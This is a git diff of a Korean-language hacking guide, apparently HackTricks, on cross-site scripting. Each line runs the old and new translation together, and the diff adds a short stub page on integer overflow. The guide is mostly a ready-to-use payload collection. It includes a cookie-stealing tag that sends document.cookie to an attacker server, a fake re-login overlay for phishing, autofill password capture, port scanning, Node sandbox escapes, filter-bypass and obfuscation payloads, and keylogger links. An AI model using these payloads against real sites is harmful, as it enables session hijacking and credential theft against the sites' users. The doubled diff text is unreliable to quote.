또한, **언급된 게시물의 끝** [**DOM Clobbering 공격에 대한 설명**](dom-xss.md#dom-clobbering)을 찾을 수 있습니다. 또한, **언급된 게시물의 끝 부분에** [**DOM Clobbering 공격에 대한 설명**](dom-xss.md#dom-clobbering)을 찾을 수 있습니다.
## 다른 우회 방법 ## 다른 우회 방법
### 정규화된 유니코드 ### 정규화된 유니코드
**반사된 값**이 서버(또는 클라이언트 측)에서 **유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting). 서버(또는 클라이언트 측)에서 **반사된 값이 유니코드 정규화**되는지 확인하고 이 기능을 악용하여 보호장치를 우회할 수 있습니다. [**여기에서 예제를 찾을 수 있습니다**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회 ### PHP FILTER\_VALIDATE\_EMAIL 플래그 우회
```javascript ```javascript
"><svg/onload=confirm(1)>"@x.y "><svg/onload=confirm(1)>"@x.y
``` ```
### 루비 온 레일 우회 ### 루비 온 레일 우회
**RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\ **RoR 대량 할당**으로 인해 따옴표가 HTML에 삽입되고 그런 다음 따옴표 제한이 우회되어 태그 내에 추가 필드 (onfocus)를 추가할 수 있습니다.\
예시 폼 ([이 보고서에서](https://hackerone.com/reports/709336) 가져옴), 페이로드를 보내면: 예시 양식 ([이 보고서에서](https://hackerone.com/reports/709336))에서 페이로드를 보내면:
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
@ -788,20 +788,20 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
### 302 응답에서 헤더 주입을 용한 XSS ### 302 응답에서 헤더 주입을 용한 XSS
만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록 시도**할 수 있습니다. 이는 현대 브라우저가 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에 **쉽지 않습니다**. 따라서 단순한 크로스 사이트 스크립팅 페이로드는 쓸모가 없습니다. 만약 **302 Redirect 응답에서 헤더를 주입**할 수 있다면, **브라우저가 임의의 JavaScript를 실행하도록 시도**할 수 있습니다. 현대의 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순히 크로스사이트 스크립팅 페이로드만으로는 쓸모가 없습니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.\ [**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이것**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)을 통해 Location 헤더 내에서 여러 프로토콜을 테스트하고, 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있는지 확인할 수 있습니다.\
과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`. 과거 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### 문자, 숫자 점만 허용 ### 문자, 숫자, 점만 허용
만약 **콜백**이 **실행할 JavaScript**을 나타낼 수 있다면, 해당 문자에 제한을 둘 수 있습니다. [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요. 만약 **콜백**이 **실행할 JavaScript**을 나타낼 수 있다면, 해당 문자만으로 제한됩니다. [**이 게시물의 이 섹션**](./#javascript-function)을 읽어 이 동작을 악용하는 방법을 찾아보세요.
### 유효한 `<script>` 콘텐츠 유형으로 XSS ### XSS에 대한 유효한 `<script>` 콘텐츠 유형
([**여기서**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면 Chrome은 다음 오류를 표시합니다: ([**여기서**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) 참조) 만약 `application/octet-stream`과 같은 **콘텐츠 유형**으로 스크립트를 로드하려고 시도하면, Chrome은 다음 오류를 발생시킵니다:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled. > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -863,7 +863,7 @@ import moment from "moment";
import { partition } from "lodash"; import { partition } from "lodash";
</script> </script>
``` ```
이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 다시 매핑하여 악용하여 XSS를 유발하는 데 사용되었습니다. 이 동작은 [**이 설명서**](https://github.com/zwade/yaca/tree/master/solution)에서 사용되었으며 라이브러리를 eval로 다시 매핑하여 악용하여 XSS를 유발할 수 있습니다.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다: * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
```html ```html
@ -881,7 +881,7 @@ import { partition } from "lodash";
} }
</script> </script>
``` ```
### 웹 콘텐츠 유형에 따른 XSS ### XSS를 위한 웹 콘텐츠 유형
([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다: ([**여기**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)에서) 다음 콘텐츠 유형은 모든 브라우저에서 XSS를 실행할 수 있습니다:
@ -912,7 +912,7 @@ import { partition } from "lodash";
예를 들어, [**이 writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 이를 사용하여 스크립트 내의 JSON 문자열을 **이스케이프**하고 임의의 코드를 실행했습니다. 예를 들어, [**이 writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 이를 사용하여 스크립트 내의 JSON 문자열을 **이스케이프**하고 임의의 코드를 실행했습니다.
### Chrome 캐시를 한 XSS ### Chrome 캐시를 이용한 XSS
{% content-ref url="chrome-cache-to-xss.md" %} {% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md) [chrome-cache-to-xss.md](chrome-cache-to-xss.md)
@ -951,7 +951,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
만약 실행되기 전에 **모든 것이 정의되지 않았다면** (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이) 임의의 믿을 수 없는 코드를 실행하여 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 믿을 수 없는 코드의 실행을 남용할 수 있습니다: 만약 **모든 것이 정의되지 않았다면** (예: [**이 writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)에서와 같이) 신뢰할 수 없는 코드를 실행하기 전에 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 신뢰할 수 없는 코드를 실행하는 것이 가능합니다:
* import()를 사용 * import()를 사용
```javascript ```javascript
@ -974,7 +974,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
{% endcode %} {% endcode %}
이전 예제와 유사하게, **에러 핸들러를 사용하여** 모듈의 **래퍼**에 액세스하고 **`require`** 함수를 얻는 것이 가능합니다: 이전 예제와 유사하게, **에러 핸들러를 사용**하여 모듈의 **래퍼(wrapper)**에 액세스하고 **`require`** 함수를 얻는 것이 가능합니다:
```javascript ```javascript
try { try {
null.f() null.f()
@ -1013,16 +1013,16 @@ trigger()
``` ```
### 난독화 및 고급 우회 ### 난독화 및 고급 우회
- **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * **한 페이지에서 다양한 난독화:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com) * [http://www.jsfuck.com/](http://www.jsfuck.com)
- 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * 더 정교한 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
```javascript ```javascript
//Katana //Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script> <script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
@ -1048,12 +1048,20 @@ trigger()
``` ```
## XSS 일반적인 페이로드 ## XSS 일반적인 페이로드
### 여러 페이로드가 포함된 1개 ### 여러 페이로드가 1개에 있음
{% content-ref url="steal-info-js.md" %} {% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md) [steal-info-js.md](steal-info-js.md)
{% endcontent-ref %} {% endcontent-ref %}
### Iframe 함정
사용자가 페이지를 떠나지 않고 iframe 내에서 탐색하도록 만들고, 그의 행동(폼에서 보낸 정보 포함)을 도용합니다:
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### 쿠키 가져오기 ### 쿠키 가져오기
```javascript ```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie> <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
@ -1158,7 +1166,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
}; };
} }
``` ```
_짧은 시간은 응답하는 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._ _짧은 시간은 응답 포트를 나타냅니다._ _더 긴 시간은 응답이 없음을 나타냅니다._
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요. Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
@ -1166,7 +1174,7 @@ Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/vi
```markup ```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script> <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
``` ```
### 자동으로 비밀번호 캡처하기 ### 자동으로 입력된 비밀번호 캡처
```javascript ```javascript
<b>Username:</><br> <b>Username:</><br>
<input name=username id=username> <input name=username id=username>
@ -1179,7 +1187,7 @@ body:username.value+':'+this.value
``` ```
### 키클로거 ### 키클로거
Github에서 검색하면 몇 가지 다른 항목을 찾을 수 있습니다: GitHub에서 검색하면 몇 가지 다른 것을 찾을 수 있습니다:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1215,7 +1223,7 @@ document.getElementById("message").src += "&"+e.data;
[abusing-service-workers.md](abusing-service-workers.md) [abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %} {% endcontent-ref %}
### 쉐도우 DOM 접근 ### Shadow DOM 접근
{% content-ref url="shadow-dom.md" %} {% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md) [shadow-dom.md](shadow-dom.md)
@ -1269,7 +1277,7 @@ document.getElementById("message").src += "&"+e.data;
``` ```
### 정규식 - 숨겨진 콘텐츠 접근 ### 정규식 - 숨겨진 콘텐츠 접근
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력 값이 제거된 후에도 해당 값은 여전히 찾을 수 있습니다: [**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서는 일부 값이 JS에서 사라져도 다른 객체의 JS 속성에서 그 값을 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, 정규식의 입력이 제거된 후에도 해당 입력의 값을 찾을 수 있습니다.
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1304,8 +1312,8 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
쿠키 제한, XSS 필터 등을 우회하는 데 사용하세요!\ 쿠키 제한, XSS 필터 등을 우회하는 데 사용하십시오!\
이 기술에 대한 자세한 정보는 여기에서 확인하세요: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). 이 기술에 대한 자세한 정보는 여기에서 확인하십시오: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### 동적으로 생성된 PDF에서의 XSS ### 동적으로 생성된 PDF에서의 XSS
@ -1316,7 +1324,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %} {% endcontent-ref %}
HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 볼 가치가 있습니다: HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 보는 것이 좋을 수 있습니다:
{% content-ref url="pdf-injection.md" %} {% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md) [pdf-injection.md](pdf-injection.md)
@ -1326,13 +1334,13 @@ HTML 태그를 삽입할 수 없는 경우 **PDF 데이터를 삽입**해 볼
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 속도와 보안에 중점을 둔 기능을 보장하기 위해 JavaScript가 보완된 HTML 태그를 포함합니다. 다양한 기능을 위한 구성 요소 범위를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 액세스할 수 있습니다. AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 속도와 보안에 중점을 둔 기능을 보장하기 위해 JavaScript가 보완된 HTML 태그를 포함합니다. 다양한 기능을 위한 구성 요소 범위를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 액세스할 수 있습니다.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호 작용할 수 있도록 합니다. [**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호 작용할 수 있도록 합니다.
예: [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email). 예: [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).
### 파일 업로드(XSS) (svg) ### 파일 업로드(XSS) (svg)
다음과 같은 파일을 이미지로 업로드하세요 ([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): 다음과 같은 파일을 이미지로 업로드하십시오 ([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup ```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574 Content-Length: 574
@ -1388,7 +1396,7 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
**[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**에서 **더 많은 SVG payloads를 찾을 수 있습니다.** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **더 많은 SVG payloads를 찾아보세요.**
## 기타 JS 트릭 및 관련 정보 ## 기타 JS 트릭 및 관련 정보
@ -1404,7 +1412,7 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
@ -1412,14 +1420,14 @@ id="foo"/>
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 **제로부터 히어로까지 AWS 해킹 배우기**</strong></summary> <summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
</details> </details>

View file

@ -0,0 +1,31 @@
# 정수 오버플로우
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details>
확인:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details>